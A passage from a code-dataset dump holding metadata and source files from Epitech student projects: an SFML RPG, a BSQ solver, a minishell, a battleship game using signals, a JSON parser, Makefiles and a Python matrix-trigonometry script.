-f $(NAME) ../$(NAME)\n" }, { "alpha_fraction": 0.6101000905036926, "alphanum_fraction": 0.6333029866218567, "avg_line_length": 33.359375, "blob_id": "387e5431416089380fd5cbef21355928875130ed", "content_id": "cd765da87a8c6b5f32e16f562505129eb6718dba", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 2198, "license_type": "no_license", "max_line_length": 80, "num_lines": 64, "path": "/tek1/Game/MUL_my_defender_2019/src/main.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** MUL_my_rpg_2019\n** File description:\n** main.c\n*/\n\n#include \"rpg.h\"\n\nint fight_logic(sfRenderWindow *win, dialogue_t **dial,\n dictionary_t **gamedata, dictionary_t **entities)\n{\n static int time = 0;\n static combat_stats_t player_stats = {200, 100, 50, 20};\n static combat_stats_t enemy_stats = {150, 75, 50, 15};\n int delta_time = *(int *) dict_get(*gamedata, \"time\") - time;\n fight_arguments_t args = {delta_time, &player_stats, &enemy_stats};\n\n time = *(int *) dict_get(*gamedata, \"time\");\n start_fight(dial, gamedata, entities);\n fight_frame(dial, gamedata, entities, args);\n render_pve(win, gamedata, &player_stats, &enemy_stats);\n return 1;\n}\n\nint game_logic(sfRenderWindow *win, sfClock *clock, dictionary_t **entities,\n dictionary_t **gdt)\n{\n static int tick = 0;\n static int time = 0;\n static int delta_time;\n static dialogue_t *dial = 0;\n static quest_t *quest = 0;\n static int selected_choice = 1;\n\n *gdt = dict_set(dict_set(*gdt, \"quest\", quest), \"time\", pint(time));\n delta_time = sfClock_getElapsedTime(clock).microseconds - time;\n time = sfClock_getElapsedTime(clock).microseconds;\n if (tick == 0) import_map(\"main_menu.map\", entities, gdt);\n dialogue_input(&dial, &selected_choice, &quest);\n player_movement(gdt, entities, &dial, delta_time);\n check_loading_zones(entities, gdt);\n render_quest(win, quest, gdt);\n render_dialogue(win, dial, gdt, selected_choice);\n tick += fight_logic(win, &dial, gdt, entities);\n return check_main_menu_buttons(win, entities, gdt) ||\n display_pause_menu(win, entities, gdt);\n}\n\nint main(int argc, char **argv)\n{\n window_settings_t s = {\"Breton VS Wild\", 1080, 720, 60, 0.83, argc, argv};\n dictionary_t *entities = 0;\n sfClock *clock = sfClock_create();\n\n srand(time());\n if (argc > 1 && !my_strcmp(argv[1], \"-h\")) {\n my_printf(\"\\nDESCRIPTION\\n\\t./my_rpg\\n\\nKEYS\\n\");\n my_printf(\"Z\\t Go up\\nS\\t Go down\\nD\\t Go right\\nQ\\t Go left\\n\");\n my_printf(\"E\\t Interact\\nEscape Pause your game\\n\\n\\tHave fun !\\n\\n\");\n return 0;\n }\n return create_game_window(s, entities, game_logic, clock);\n}" }, { "alpha_fraction": 0.3820960819721222, "alphanum_fraction": 0.40665939450263977, "avg_line_length": 19.81818199157715, "blob_id": "126d1ba91ebb7e5068f2515f0c555df0bf12a8f6", "content_id": "24007b22305f4dd67a9c162aa70a34f178d7f25c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1832, "license_type": "no_license", "max_line_length": 76, "num_lines": 88, "path": "/tek1/Functionnal/CPE_BSQ_2019/lib/my/my_check.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** CPE_BSQ_2019\n** File description:\n** checking tab x,y\n*/\n\n#include <stdio.h>\n#include \"struct.h\"\n#include \"my.h\"\n\nvoid tabtab(char **tab, int x, int y, int count)\n{\n int\ti;\n int\tsave;\n int\ta;\n\n a = 0;\n save = count - 1;\n i = count - 1;\n while (i > 0) {\n while (save > 0) {\n tab[x][y - a] = 'x';\n a = a + 1;\n save = save - 1;\n\t }\n save = count - 1;\n a = 0;\n x = x - 1;\n i = i - 1;\n }\n}\n\nvoid my_search2(char **tab, int *lenght, int *width, t_bsq *bsq)\n{\n bsq->tmpwidth = *width;\n bsq->tmplenght = *lenght;\n bsq->tmp = 1;\n while (*lenght >= 0 && *width >= 0 && test_tab(bsq->tmp, tab, *width,\n *lenght) == 1) {\n *lenght = *lenght - 1;\n *width = *width - 1;\n bsq->tmp = bsq->tmp + 1;\n }\n if (bsq->tmp >= bsq->count) {\n bsq->count = bsq->tmp;\n bsq->x = *lenght + bsq->count - 1;\n bsq->y = *width + bsq->count - 1;\n }\n *width = bsq->tmpwidth;\n *lenght = bsq->tmplenght;\n *width = *width - 1;\n}\n\nvoid find(char **tab, int *lenght, int *width, t_bsq *bsq)\n{\n if (tab[*lenght][*width] == 'o' && *width != 0)\n *width = *width - 1;\n else if (*width == 0) {\n *lenght = *lenght - 1;\n *width = bsq->wid;\n }\n if (tab[*lenght][*width] == '.')\n my_search2(tab, lenght, width, bsq);\n bsq->i = bsq->i + 1;\n}\n\nint tabtab2(char **tab)\n{\n int\ta;\n int\tb;\n\n a = 0;\n b = 0;\n while (tab[a][b] != 0) {\n if (tab[a][b] == '.') {\n tab[a][b] = 'x';\n return (0);\n\t }\n else if (tab[a][b] == 'o')\n b = b + 1;\n else {\n b = 0;\n a = a + 1;\n\t } \n }\n return (0);\n}\n" }, { "alpha_fraction": 0.5110609531402588, "alphanum_fraction": 0.6063205599784851, "avg_line_length": 20.514562606811523, "blob_id": "818b85f2f07bfab17a76c5d3ccb0440f9149eca4", "content_id": "0da19c195cf694d6f2e365ad4225e022aa460900", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Makefile", "length_bytes": 2215, "license_type": "no_license", "max_line_length": 62, "num_lines": 103, "path": "/tek1/Functionnal/CPE_lemin_2019/Makefile", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "##\n## EPITECH PROJECT, 2019\n## Makefile\n## File description:\n## Builds the project\n##\n\nCC\t=\tgcc\n\nRM\t=\trm -f\n\nMK\t=\tmake --no-print-directory\n\nSRC\t\t=\tsrc/main.c\t\\\n\t\t\tsrc/parsing.c\t\\\n\t\t\tsrc/display.c \\\n\t\t\tsrc/pathfinding.c \\\n\nOBJ\t\t=\t$(SRC:.c=.o)\n\nNAME\t\t=\tlem_in\n\nCFLAGS\t\t+=\t-W -Wall -Wextra -pedantic\nCFLAGS\t\t+=\t-I./include -L./lib\n\nLIBTOOLS\t=\t-l tools\n\nLIBLINKED\t=\t-l linked\n\nLIBJSON\t\t=\t-l json\n\nLIBGAME\t\t=\t-l game\t\\\n\t\t\t\t-l csfml-graphics\t\\\n\t\t\t\t-l csfml-audio\t\\\n\t\t\t\t-l csfml-system\t\\\n\t\t\t\t-l csfml-window\t\\\n\t\t\t\t-l csfml-network\n\n$(OBJDIR)%.o:\t%.c\n\t\t@$(CC) $(CFLAGS) -o $@ -c $<\n\t\t@if test -s $*.c; then \\\n\t\techo -e \"\\033[01m\\033[35m Compiling \\033[00m\\\n\t\t\\033[36m$(SRCPATH)$*.c\\033[032m [OK]\\033[00m\";\\\n\t\telse \\\n\t\techo -e \"\\033[01m\\033[33m Compiling \\033[00m\\\n\t\t\\033[36m$(SRCPATH)$*.c\\033[00m\\ [Error]\"; fi\n\nall:\t\tlinked tools $(NAME)\n\n$(NAME):\t$(OBJ)\n\t\t@echo -e \"\\033[01m\\033[31mBuilding...\\033[00m\"\n\t\t@$(CC) -o $(NAME) $(OBJ) $(CFLAGS)\n\t\t@echo -e \"\\033[01m\\033[32mCompilation done: ${NAME}\\033[00m\"\n\ntools:\n\t\t$(eval CFLAGS += $(LIBTOOLS))\n\t\t@$(MK) -C lib/tools\ngame:\n\t\t$(eval CFLAGS += $(LIBGAME))\n\t\t@$(MK) -C lib/game\nlinked:\n\t\t$(eval CFLAGS += $(LIBLINKED))\n\t\t@$(MK) -C lib/linked\njson:\n\t\t$(eval CFLAGS += $(LIBJSON))\n\t\t@$(MK) -C lib/json\n\ntools_clean:\n\t\t@echo -e \"\\033[01m\\033[31mCleaning libtools...\\033[00m\"\n\t\t@$(MK) -C lib/tools clean\ngame_clean:\n\t\t@echo -e \"\\033[01m\\033[31mCleaning libgame...\\033[00m\"\n\t\t@$(MK) -C lib/game clean\nlinked_clean:\n\t\t@echo -e \"\\033[01m\\033[31mCleaning liblinked...\\033[00m\"\n\t\t@$(MK) -C lib/linked clean\njson_clean:\n\t\t@echo -e \"\\033[01m\\033[31mCleaning libjson...\\033[00m\"\n\t\t@$(MK) -C lib/json clean\n\ntools_fclean:\n\t\t@$(MK) -C lib/tools fclean\ngame_fclean:\n\t\t@$(MK) -C lib/game fclean\nlinked_fclean:\n\t\t@$(MK) -C lib/linked fclean\njson_fclean:\n\t\t@$(MK) -C lib/json fclean\n\ndebug:\tlinked tools $(OBJ)\n\t\t@echo -e \"\\033[01m\\033[31mBuilding...\\033[00m\"\n\t\t@$(CC) -g3 $(SRC) $(CFLAGS)\n\t\t@echo -e \"\\033[01m\\033[32mCompilation done: ${NAME}\\033[00m\"\n\nclean:\tlinked_clean tools_clean\n\t\t@echo -e \"\\033[01m\\033[31mCleaning objects...\\033[00m\"\n\t\t@$(RM) $(OBJ)\n\nfclean:\t\tclean linked_fclean tools_fclean\n\t\t@echo -e \"\\033[01m\\033[31mCleaning binary...\\033[00m\"\n\t\t@$(RM) $(NAME)\n\nre:\t\tfclean all" }, { "alpha_fraction": 0.5398860573768616, "alphanum_fraction": 0.5491452813148499, "avg_line_length": 23.224138259887695, "blob_id": "928996314bcabd2de54e19a93db8cb8cbf1d378c", "content_id": "84182487692aec258a79348f9958ce773599ac5f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1404, "license_type": "no_license", "max_line_length": 78, "num_lines": 58, "path": "/tek1/Game/MUL_my_defender_2019/lib/json/json_parse.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2020\n** libjson\n** File description:\n** json_parse\n*/\n\n#include \"json.h\"\n#include \"tools.h\"\n#include <stdlib.h>\n\njson_object_t *json_parse_append(json_object_t *obj, json_object_t *to_append)\n{\n json_object_t *i;\n\n if (!obj) return to_append;\n for (i = obj; i->next; i = i->next);\n i->next = to_append;\n return obj;\n}\n\njson_object_t *json_parse_step(char **cursor, json_object_t *obj)\n{\n switch((*cursor)[0]) {\n case '{':\n obj->data = json_parse_dict(cursor);\n obj->type = JSON_DICT;\n break;\n case '[':\n obj->data = json_parse_list(cursor);\n obj->type = JSON_LIST;\n break;\n default:\n return print_return(\"invalid json\\n\", 0);\n }\n return obj ? obj : print_return(\"invalid json\\n\", 0);\n}\n\nvoid *json_parse(char *json)\n{\n json_object_t *obj = malloc(sizeof(json_object_t));\n char *trimmed_json = my_trim_keep_str(json);\n char *temp = trimmed_json;\n\n if (trimmed_json[0] != '[' && trimmed_json[0] != '{') {\n free(trimmed_json);\n free(obj);\n return print_return(\"invalid json\\n\", 0);\n }\n obj->next = 0;\n obj->type = JSON_INVALID;\n obj->data = 0;\n obj->index = \"\";\n obj = json_parse_value(&trimmed_json, obj);\n free(temp);\n return obj ? obj :\n my_free_assign(obj, print_return(\"invalid json\\n\", 0));\n}" }, { "alpha_fraction": 0.48790600895881653, "alphanum_fraction": 0.5038009881973267, "avg_line_length": 18.835617065429688, "blob_id": "724730e9503fcd6aeb088b3eaab8d4ea4c8330c4", "content_id": "90e9906c2c08b72efc7f866426dbf5967496302f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1447, "license_type": "no_license", "max_line_length": 72, "num_lines": 73, "path": "/tek1/Advanced/PSU_minishell2_2019/src/cmd.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** PSU_minishell2_2019\n** File description:\n** cmd.c\n*/\n\n#include \"shell2.h\"\n#include \"my.h\"\n\nvoid preparecmd(char *cmd)\n{\n switch (cmd[0])\n {\n case ('c'): if (cmd[1] == 'd' && cmd [2] == ' ')\n cd(cmd);\n break;\n\n default:\n break;\n }\n}\n\nchar **addingtab(char **cmd, char *cmdline, int line)\n{\n if (cmd == NULL)\n my_putstr(\"error\");\n cmd[line] = malloc(sizeof(char) * (my_strlen(cmdline)));\n cmd[line] = cmdline;\n preparecmd(cmdline);\n return cmd;\n}\n\nchar **redirect(int start, int end, char *cmd, char **command, int line)\n{\n char *cmdline = malloc(sizeof(char) * (end - start));\n int p = 0;\n\n for (int i = start; i < end; i++, p++)\n cmdline[p] = cmd[i];\n cmdline[p+1] = 0;\n command = addingtab(command, cmdline, line);\n return command;\n}\n\nint findarg(char *cmd, int x, int start)\n{\n while (cmd[x] != ';') {\n if (cmd[x] == '\\0')\n return x;\n x = x + 1;\n }\n return x;\n}\n\nchar **findcmd(char *cmd, int len)\n{\n char **command = malloc(sizeof(*cmd) * my_strlen(cmd));\n int i = 0;\n int p =0;\n int line = 0;\n int start = 0;\n\n for (i = 0; i < len; i++, line++) {\n start = i;\n i = findarg(cmd, i, start);\n command = redirect(start, i, cmd, command, line);\n }\n /*while (command[p] != NULL) { print command\n printf(command[p]);\n p++;\n }*/\n}" }, { "alpha_fraction": 0.6127819418907166, "alphanum_fraction": 0.6278195381164551, "avg_line_length": 34.5, "blob_id": "568362a0bf108931c627ff6e4480c1e70084b56f", "content_id": "a8ef23fcd15207fda9ebed30577b4c00833122e9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1064, "license_type": "no_license", "max_line_length": 79, "num_lines": 30, "path": "/tek1/Game/MUL_my_defender_2019/src/fight/render.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** Visual Studio Live Share (Workspace)\n** File description:\n** render.c\n*/\n\n#include \"rpg.h\"\n\nvoid render_pve(sfRenderWindow *win, dictionary_t **gamedata,\n combat_stats_t *player_stats, combat_stats_t *enemy_stats)\n{\n sfFont *font_title = load_font(\"title_font\",\n \"./assets/fonts/Ubuntu-C.ttf\", gamedata);\n sfFont *font_obj = load_font(\"textbox_font\",\n \"./assets/fonts/Ubuntu-R.ttf\", gamedata);\n sfText *player_hp = load_text(font_title, \"p_hp\", sv2f(100, 30), gamedata);\n sfText *enemy_hp = load_text(font_obj, \"e_hp\", sv2f(696, 30), gamedata);\n char *p_hp = my_strconcat(\"Vie du joueur: \",\n my_int_to_str(player_stats->health));\n char *e_hp = my_strconcat(\"Vie de Breton: \",\n my_int_to_str(enemy_stats->health));\n\n sfText_setString(player_hp, p_hp);\n sfText_setString(enemy_hp, e_hp);\n if (!my_strcmp(dict_get(*gamedata, \"map\"), \"combat.map\")) {\n sfRenderWindow_drawText(win, player_hp, NULL);\n sfRenderWindow_drawText(win, enemy_hp, NULL);\n }\n}" }, { "alpha_fraction": 0.3813443183898926, "alphanum_fraction": 0.41152262687683105, "avg_line_length": 16.35714340209961, "blob_id": "3fcbc7c3149c8b07b103636f5f5ef8680da6768f", "content_id": "ecd921bd3b2508d785f3bfe45bfa284b83d3938f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 729, "license_type": "no_license", "max_line_length": 52, "num_lines": 42, "path": "/tek1/Functionnal/CPE_pushswap_2019/lib/my_sorter_move.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** pushswap\n** File description:\n** my_sorter_move.c\n*/\n\n#include \"pushswap.h\"\n\nint remove_first(int *arr, int len)\n{\n int i = 0;\n int first;\n\n for (i = 0; i < len && arr[i] != -1; i++)\n if (i > 0)\n arr[i - 1] = arr[i];\n else\n first = arr[i];\n arr[i - 1] = -1;\n return (first);\n}\n\nvoid add_to(int *arr, int value, int order, int len)\n{\n int i = 1;\n int tmp = arr[0];\n int tmp2 = 0;\n\n if (order == 0) {\n for (i = 1; i < len; i++) {\n tmp2 = arr[i];\n arr[i] = tmp;\n tmp = tmp2;\n }\n arr[0] = value;\n }\n else {\n for (i = 0; arr[i] != -1; i++);\n arr[i] = value;\n }\n}\n" }, { "alpha_fraction": 0.6000000238418579, "alphanum_fraction": 0.625806450843811, "avg_line_length": 13.090909004211426, "blob_id": "06962463166a29510e20bbcb80efddb2c5041b1e", "content_id": "4267388baf3c547224280e69d53c9af8a88c51a4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 155, "license_type": "no_license", "max_line_length": 41, "num_lines": 11, "path": "/tek1/Functionnal/CPE_corewar_2019/corewar/include/my.h", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** folder\n** File description:\n** my.h\n*/\n\n#include \"phoenix.h\"\n#include <stddef.h>\n\nint main(int ac, char **av, char **envp);\n" }, { "alpha_fraction": 0.4756980240345001, "alphanum_fraction": 0.49534642696380615, "avg_line_length": 28.33333396911621, "blob_id": "75f115755d0d1e3e55e7ded8803471261147a617", "content_id": "4a7ed3b049399fbb0ab249b3519059599bf82024", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 967, "license_type": "no_license", "max_line_length": 79, "num_lines": 33, "path": "/tek1/Game/MUL_my_rpg_2019/lib/json/json_parse_number.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2020\n** libjson\n** File description:\n** json_parse_number\n*/\n\n#include \"json.h\"\n#include \"tools.h\"\n\nvoid *json_parse_number(char **cur, json_object_t *obj)\n{\n int is_float = 0;\n float total = 0;\n char *current = my_strdup(\"\");\n\n while (((*cur)[0] >= '0' && (*cur)[0] <= '9') || (*cur)[0] == '.') {\n if ((*cur)[0] == '.' && !is_float) {\n is_float = 1;\n obj->type = JSON_DOUBLE;\n total += my_getnbr(current);\n current = my_strdup(\"\");\n } else if ((*cur)[0] == '.' && is_float) {\n my_printf(\"invalid json\\n\");\n return 0;\n } else current = my_free_assign(current,\n my_strconcat(current, my_char_to_str((*cur)[0])));\n (*cur)++;\n }\n total += (double) my_getnbr(current) /\n (double) (is_float ? my_compute_power_rec(10, my_strlen(current)) : 1);\n return is_float ? (void *) pdouble(total) : (void *) pint(total);\n}" }, { "alpha_fraction": 0.6255319118499756, "alphanum_fraction": 0.6425532102584839, "avg_line_length": 15.857142448425293, "blob_id": "478e285503f121dfe6b92612213c388a5600c63e", "content_id": "2f0538ddd053062c9bbe9daa3865f9088062740a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 235, "license_type": "no_license", "max_line_length": 75, "num_lines": 14, "path": "/tek1/Game/MUL_my_rpg_2019/lib/game/my_putpixel.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** my_putpixel\n** File description:\n** my_putpixel\n*/\n\n#include \"game.h\"\n\nvoid my_putpixel(framebuffer_t *fb, unsigned int x, unsigned int y, sfColor\n color)\n{\n fb->pixels[y * fb->width + x] = color;\n}" }, { "alpha_fraction": 0.45514222979545593, "alphanum_fraction": 0.49015316367149353, "avg_line_length": 12.441176414489746, "blob_id": "8daecbc7230611bdb49d85dcd13884321040c970", "content_id": "dd6e771548219718b1517af48e2c78b2d1e251cf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 457, "license_type": "no_license", "max_line_length": 34, "num_lines": 34, "path": "/tek1/Piscine/CPool_Day07_2019/task05/my_rev_params.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** my_rev_params\n** File description:\n** task 05 day07\n*/\n\n#include <unistd.h>\n\nvoid my_putchar(char c)\n{\n write(1, &c, 1);\n}\n\nint my_putstr(char const *str)\n{\n int i = 0;\n\n while (str[i] != '\\0') {\n my_putchar(str[i]);\n i++;\n }\n return 0;\n}\n\nint main(int argc, char **argv)\n{\n while (argc != 0) {\n my_putstr(argv[argc - 1]);\n my_putchar('\\n');\n argc--;\n }\n return 0;\n}\n" }, { "alpha_fraction": 0.4670846462249756, "alphanum_fraction": 0.4921630024909973, "avg_line_length": 13.5, "blob_id": "b20a4846ef11f1dfa0e71ad63cd4a6b32f7e3627", "content_id": "4636c751430bed2364d7db5363f3d64930db7466", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 319, "license_type": "no_license", "max_line_length": 44, "num_lines": 22, "path": "/tek1/Game/MUL_my_rpg_2019/lib/tools/my_is_prime.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** my_is_prime\n** File description:\n** Checks if a number is prime\n*/\n\nint can_divide_by(int a, int b)\n{\n return (!(a%b));\n}\n\nint my_is_prime(int nb)\n{\n int i;\n\n for (i = 2; i < nb; i++) {\n if (can_divide_by(nb, i) || nb == 1)\n return (0);\n }\n return (1);\n}\n" }, { "alpha_fraction": 0.46416381001472473, "alphanum_fraction": 0.49146756529808044, "avg_line_length": 15.333333015441895, "blob_id": "fc37884c09529fe9d1c96369b6f41f41c3f841df", "content_id": "3223f2e54ed6186c5cf6010bf44996408328c067", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 293, "license_type": "no_license", "max_line_length": 61, "num_lines": 18, "path": "/tek1/Advanced/PSU_navy_2019/lib/my_char_isalpha.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** my_char_isalpha.c\n** File description:\n** lib - mehdi.zehri\n*/\n\n#include \"navy.h\"\n\nint my_char_isalpha(char str)\n{\n if (str == '\\0')\n return 1;\n if (str >= 'A' && str <= 'Z' || str >= 'a' && str <= 'z')\n return 1;\n else\n return 0;\n}" }, { "alpha_fraction": 0.5488215684890747, "alphanum_fraction": 0.5622895359992981, "avg_line_length": 14.684210777282715, "blob_id": "d111902176543a56057c70c5e92b18be8d89d367", "content_id": "f17f06c371972efac6fec33390b5efdcfa004bf6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 297, "license_type": "no_license", "max_line_length": 60, "num_lines": 19, "path": "/tek1/Game/MUL_my_rpg_2019/lib/linked/list/ll_concat.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2020\n** Epitech\n** File description:\n** ll_concat\n*/\n\n#include \"linked.h\"\n\nlinked_list_t *ll_concat(linked_list_t *a, linked_list_t *b)\n{\n linked_list_t *i = a;\n\n if (!a) return b;\n if (!b) return a;\n while (i->next) i = i->next;\n i->next = b;\n return a;\n}" }, { "alpha_fraction": 0.4747116267681122, "alphanum_fraction": 0.49245786666870117, "avg_line_length": 24.636363983154297, "blob_id": "e2e98d07f8eea010719e9551a4fbf659ed3025ff", "content_id": "9905f9a20d42f2d1127c99cdfa3bf9ce797be7ba", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1127, "license_type": "no_license", "max_line_length": 72, "num_lines": 44, "path": "/tek1/Game/MUL_my_rpg_2019/lib/json/json_parse_dict.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2020\n** libjson\n** File description:\n** json_parse_dict\n*/\n\n#include \"json.h\"\n#include \"tools.h\"\n#include <stdlib.h>\n\njson_object_t *key_value_pair(char **cursor, json_object_t *obj)\n{\n char *var_name = 0;\n\n json_object_t *next_obj = malloc(sizeof(json_object_t));\n next_obj->next = 0;\n while ((*cursor)[0] != ',' && (*cursor)[0] != '}') {\n if ((*cursor)[0] == '\"' && !var_name) var_name = (*cursor) + 1;\n else if ((*cursor)[0] == '\"' && var_name) {\n (*cursor)[0] = 0;\n next_obj->index = my_strdup(var_name);\n }\n if ((*cursor)[0] == ':') {\n (*cursor)++;\n next_obj = json_parse_value(cursor, next_obj);\n (*cursor)--;\n }\n (*cursor)++;\n }\n if ((*cursor)[0] == ',') (*cursor)++;\n return json_parse_append(obj, next_obj);\n}\n\njson_object_t *json_parse_dict(char **cursor)\n{\n json_object_t *obj = 0;\n while ((*cursor)[0] != '}') {\n if ((*cursor)[0] == 0) return print_return(\"invalid json\\n\", 0);\n obj = key_value_pair(cursor, obj);\n }\n (*cursor)++;\n return obj;\n}" }, { "alpha_fraction": 0.4910581111907959, "alphanum_fraction": 0.5230998396873474, "avg_line_length": 20.645160675048828, "blob_id": "3a6084457dbe12a30bbe55a7a1d64d54a0174353", "content_id": "8e2969a59c38a6d6e71f236c61a515838e1ee735", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1342, "license_type": "no_license", "max_line_length": 76, "num_lines": 62, "path": "/tek1/Advanced/PSU_navy_2019/sources/game.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** PSU_navy_2019\n** File description:\n** game.c\n*/\n\n#include \"navy.h\"\n\nint send_ping_game_end(int ships, char **map, char **enemy_map)\n{\n if (ships == 0) {\n print_game(map, enemy_map);\n my_printf(\"\\nEnemy won\\n\");\n my_kill(SIGUSR1, receive[0]);\n receive[3] = 1;\n return 1;\n } else\n my_kill(SIGUSR2, receive[0]);\n return 0;\n}\n\nint receive_ping_game_end(char **map, char **enemy_map)\n{\n signal(SIGUSR1, end_handler);\n signal(SIGUSR2, end_handler);\n pause();\n if (receive[3] == 1) {\n print_game(map, enemy_map);\n my_printf(\"\\nI won\\n\");\n receive[3] = 0;\n return 1;\n }\n return 0;\n}\n\nint check_if_already_attacked(char **enemy_map, char *buff)\n{\n int j = buff[0] - 64;\n int i = buff[1] - 48;\n\n if (enemy_map[i - 1][j * 2] == 'x' || enemy_map[i - 1][j * 2] == 'o')\n return 1;\n return 0;\n}\n\nchar *get_info_attack(char **enemy_map)\n{\n char *buff = NULL;\n int i = 0;\n\n my_printf(\"\\nattack: \");\n buff = get_info();\n while (buff == NULL || char_isalpha(buff[0]) == 0 || isnum(buff[1]) == 0\n || check_if_already_attacked(enemy_map, buff) == 1) {\n my_printf(\"wrong position\");\n free(buff);\n my_printf(\"\\nattack: \");\n buff = get_info();\n }\n return buff;\n}\n" }, { "alpha_fraction": 0.5632184147834778, "alphanum_fraction": 0.5977011322975159, "avg_line_length": 11.5, "blob_id": "7ec8aa7ece60d540aeba537293b0f01729ae62fe", "content_id": "bf04108d6bdfe7434d6c4f882b3140b54242328e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 174, "license_type": "no_license", "max_line_length": 30, "num_lines": 14, "path": "/tek1/Functionnal/CPE_BSQ_2019/lib/my/main.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** Bootstrap_BSQ\n** File description:\n** main.c\n*/\n\n #include <stdlib.h>\n\nint main (int ac, char **argv)\n{\n open_file(argv[1]);\n return 0;\n}" }, { "alpha_fraction": 0.4312500059604645, "alphanum_fraction": 0.453125, "avg_line_length": 15.024999618530273, "blob_id": "ee80fb328a724cf3825a7683ec379a7057ce1c2d", "content_id": "3f26fc90782dc38761a83aaacd3775f4881f121c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 640, "license_type": "no_license", "max_line_length": 36, "num_lines": 40, "path": "/tek1/Game/MUL_my_rpg_2019/lib/tools/my_compute_square_root.c", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "/*\n** EPITECH PROJECT, 2019\n** my_compute_square_root\n** File description:\n** Computes square root\n*/\n\nint my_compute_square_root(int nb)\n{\n int i = -1;\n int result = 0;\n\n do {\n i++;\n result = i*i;\n }\n while (result < nb);\n if (result == nb)\n return (i);\n else\n return (0);\n}\n\ndouble sqrt(double nb)\n{\n double min = 0;\n double max = nb;\n double moy;\n\n for (int i = 0; i < 1000; i++) {\n moy = (min + max) / 2;\n if (moy * moy == nb)\n return moy;\n if (moy * moy > nb)\n max = moy;\n else\n min = moy;\n }\n return moy;\n}" }, { "alpha_fraction": 0.5217105150222778, "alphanum_fraction": 0.553947389125824, "avg_line_length": 27.69811248779297, "blob_id": "a714bc6d42af6b3f1c567efdeafc8571ee769bb5", "content_id": "11c333d19b1d6ac0a8d638312e04d15fa7309ec0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1520, "license_type": "no_license", "max_line_length": 94, "num_lines": 53, "path": "/tek1/Mathématique/108trigo_2019/mymath.py", "repo_name": "bartz-dev/Epitech_Project", "src_encoding": "UTF-8", "text": "##\n## EPITECH PROJECT, 2019\n## 108trigo_2019\n## File description:\n## mymath.py\n##\n\nimport math, sys\nfrom matrix import *\n\ndef launch(matrix):\n args = [\"EXP\", \"COS\", \"SIN\", \"COSH\", \"SINH\"]\n fct_tab = [my_exp, my_cos, my_sin, my_cosh, my_sinh]\n for i in range(len(fct_tab)):\n if sys.argv[1] == args[i]:\n matrix = fct_tab[i](matrix)\n return matrix\n\ndef my_exp(matrix):\n tmp = identity_mat(len(matrix))\n for i in range(1, 50):\n tmp = add_mat(tmp, div_mat(pow_mat(matrix, i), math.factorial(i)))\n return tmp\n\ndef my_cos(matrix):\n tmp = identity_mat(len(matrix))\n for i in range(1, 40):\n if i % 2 == 0:\n tmp = add_mat(tmp, div_mat(pow_mat(matrix, 2 * i), math.factorial(2 * i)))\n else:\n tmp = sub_mat(tmp, div_mat(pow_mat(matrix, 2 * i), math.factorial(2 * i)))\n return tmp\n\ndef my_sin(matrix):\n tmp = matrix\n for i in range(1, 40):\n if i % 2 == 0:\n tmp = add_mat(tmp, div_mat(pow_mat(matrix, 2 * i + 1), math.factorial(2 * i + 1)))\n else:\n tmp = sub_mat(tmp, 